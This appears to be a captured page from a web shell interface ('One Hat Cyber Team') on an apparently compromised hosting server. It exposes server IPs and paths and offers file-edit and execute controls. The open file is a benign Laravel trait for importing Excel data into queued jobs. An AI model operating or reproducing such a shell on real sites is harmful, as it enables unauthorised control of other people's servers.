One Hat Cyber Team
Your IP :
18.222.50.48
Server IP :
192.145.235.60
Server :
Linux ngx365.inmotionhosting.com 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
centos12
/
public_html
/
centosuit
/
app
/
Traits
/
Edit File:
ImportExcel.php
<?php namespace App\Traits; use App\Helper\Files; use Illuminate\Support\Facades\Bus; use Maatwebsite\Excel\Facades\Excel; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Session; use Maatwebsite\Excel\HeadingRowImport; use Maatwebsite\Excel\Imports\HeadingRowFormatter; use ReflectionClass; trait ImportExcel { public function importFileProcess($request, $importClass) { // get class name from $importClass $this->importClassName = (new ReflectionClass($importClass))->getShortName(); $this->file = Files::upload($request->import_file, Files::IMPORT_FOLDER); $excelData = Excel::toArray(new $importClass, public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $this->file))[0]; $this->hasHeading = $request->has('heading'); $this->heading = array(); $this->fileHeading = array(); $this->columns = $importClass::fields(); $this->importMatchedColumns = array(); $this->matchedColumns = array(); if ($this->hasHeading) { $this->heading = (new HeadingRowImport)->toArray(public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $this->file))[0][0]; // Excel Format None for get Heading Row Without Format and after change back to config HeadingRowFormatter::default('none'); $this->fileHeading = (new HeadingRowImport)->toArray(public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $this->file))[0][0]; HeadingRowFormatter::default(config('excel.imports.heading_row.formatter')); array_shift($excelData); $this->matchedColumns = collect($this->columns)->whereIn('id', $this->heading)->pluck('id'); $importMatchedColumns = array(); foreach ($this->matchedColumns as $matchedColumn) { $importMatchedColumns[$matchedColumn] = 1; } $this->importMatchedColumns = $importMatchedColumns; } $this->importSample = array_slice($excelData, 0, 5); } public function importJobProcess($request, $importClass, $importJobClass) { // get class name from $importClass $importClassName = (new ReflectionClass($importClass))->getShortName(); // clear previous import Artisan::call('queue:clear database --queue=' . $importClassName); Artisan::call('queue:flush'); // Get index of an array not null value with key $columns = array_filter($request->columns, function ($value) { return $value !== null; }); $excelData = Excel::toArray(new $importClass, public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $request->file))[0]; if ($request->has_heading) { array_shift($excelData); } $jobs = []; Session::put('leads_count', count($excelData)); foreach ($excelData as $row) { $jobs[] = (new $importJobClass($row, $columns, company())); } $batch = Bus::batch($jobs)->onConnection('database')->onQueue($importClassName)->name($importClassName)->dispatch(); Files::deleteFile($request->file, Files::IMPORT_FOLDER); return $batch; } }
Simpan